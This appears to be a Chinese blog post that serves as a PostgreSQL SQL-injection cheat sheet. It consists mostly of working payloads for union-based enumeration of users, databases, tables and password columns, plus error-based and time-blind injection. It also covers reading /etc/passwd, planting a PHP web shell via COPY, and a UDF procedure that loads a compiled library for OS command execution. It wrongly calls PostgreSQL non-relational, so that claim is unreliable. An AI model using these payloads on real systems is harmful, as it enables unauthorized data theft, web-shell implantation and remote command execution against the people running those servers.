前言
这里来到了PostgreSQL这个非关系型数据库的利用手法,将会带来有关该数据库的各种利用姿势
PostgreSQL
基础
```
ascii => char
select chr(97)
连接符 ||
select chr(97)||chr(100)
获取字符串长度
?id=-1 union select NULL,(select to_char(length('admin'),'999999')),'2',NULL--+
这里因为回显位为字符类型,length返回的是Int类型,这里进行了强转
同样支持case when语句
select case when(current_user='postgres') then pg_sleep(3) else pg_sleep(4) end;
```
特征
- 其延时函数为特殊的
pg_sleep()
函数,而不是使用的sleep()
函数 - 同Mysql一样,具有
information_schame
数据库存放了表和列的信息 - 该数据库中的limit不是通过逗号设置偏移量,而是通过offset设置
联合注入
- 和之前的数据库同样的判断注入点,同样判断字段数
- 在判断回显位的时候
PostgreSQL
数据库和Mysql
不相同的是,不支持直接使用数字来表示,所以这里只能用null来表示,null可以兼容任意数据类型
?id=-1 union select NULL,NULL,NULL,NULL--+
之后怎么知道回显位置捏?因为不能直接使用数字,我们就需要逐个位置使用字符来进行占位探测回显位
?id=-1 union select NULL,'a','b',NULL--+
这里可以知道这里的2 3位都会回显
3. 进行信息收集
## 查看当前权限
?id=-1 union select NULL,(select current_schema()),'b',NULL--+
## 查看用户
?id=-1 union select NULL,(select user),'b',NULL--+
?id=-1 union select NULL,(select current_user),'b',NULL--+
?id=-1 union select NULL,(select session_user),'b',NULL--+
?id=-1 union select NULL,(select usename from pg_user),'b',NULL--+
?id=-1 union select NULL,(select getpgusername()),'b',NULL--+
## 获取具有DBA权限的用户
?id=-1 union select NULL,(select usename from pg_user where usesuper is true limit 1 offset 0),'2',NULL--+
## 查看数据库版本
?id=-1 union select NULL,(select version()),'b',NULL--+
## 查看当前数据库
?id=-1 union select NULL,(select current_database()),'b',NULL--+
4. 获取可以获取的所有数据库名
?id=-1 union select NULL,(select datname from pg_database limit 1 offset 3),'2',NULL--+
## 这里可以通过offset进行偏移量的设置,获取不同的数据库名(可用Burp爆破)
5. 获取当前数据库中的所有表名
?id=-1 union select NULL,(select tablename from pg_tables where schemaname='public' limit 1 offset 1),'2',NULL--+
## 这里同样可以不加where后面的限定,得到的范围将会更大
## 同样可以通过设置偏移量获取不同的表名(可用burp爆破)
6. 获取特定表的所有列名
?id=-1 union select NULL,(select column_name from information_schema.columns where table_name='reg_users' limit 1 offset 2),'2',NULL--+
## 这里就直接使用了information_schema.columns这个系统表
## 同样通过offset设置偏移量
7. 读取数据
?id=-1 union select NULL,(select name || '::' || password from public.reg_users limit 1 offset 0),'2',NULL--+
报错注入
条件
需要目标站点开启了报错提示
?id=1 and 7778=CAST((SELECT version())::text AS NUMERIC)--+
时间盲注
大体和Mysql差不多,使用 pg_sleep()
函数进行延时
文件操作
- 列目录
?uid=1 union select NULL,NULL,pg_ls_dir('./')
- 读文件
?uid=1;CREATE TABLE passwd(t TEXT);COPY passwd FROM '/etc/passwd';SELECT NULL,t,NULL FROM passwd;
- 写文件
?uid=1;DROP TABLE pass;CREATE TABLE hacktb (t TEXT);INSERT INTO hacktb(t) VALUES ('<?php @system("$_GET[cmd]");?>');COPY hacktb(t) TO '/tmp/hack.php';
命令执行
- 利用udf提权,下载sqlmap的so文件
```
获取源码git clone https://github.com/sqlmapproject/udfhack/
编译源码(数据库版本:9.6)
cd udfhack/linux/64/lib_postgresqludf_sys
apt-get install postgresql-server-dev-9.6
gcc -Wall -I/usr/include/postgresql/9.6/server/ -Os -shared lib_postgresqludf_sys.c -fPIC -o udf64.so
strip -sx udf64.so
2. **利用python脚本对生成的so文件编码,切割成每段小于2k的片段**
#~/usr/bin/env python 2.7
#-- coding:utf-8 --
import sys
if name == "main":
if len(sys.argv) != 2:
print "Usage:python " + sys.argv[0] + "inputfile"
sys.exit()
fileobj = open(sys.argv[1],'rb')
i = 0
for b in fileobj.read():
sys.stdout.write(r'{:02x}'.format(ord(b)))
i = i + 1
if i % 1023 == 0:
print "\n"
fileobj.close()
3. **利用postgreSQL的大对象数据将so文件写入**
SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4602010100000...200', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000000000000000...e36', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 2, decode('005f6564617461005f5...9e0', 'hex'));
...
INSERT INTO pg_largeobject VALUES (12345, 13, decode('6300746578745f7074...200', 'hex'));
SELECT lo_export(12345, '/var/lib/postgresql/9.6/main/udf.so');
SELECT lo_unlink(12345);
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS "/var/lib/postgresql/9.6/main/udf.so", "sys_eval" LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
select sys_eval('id');
```
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论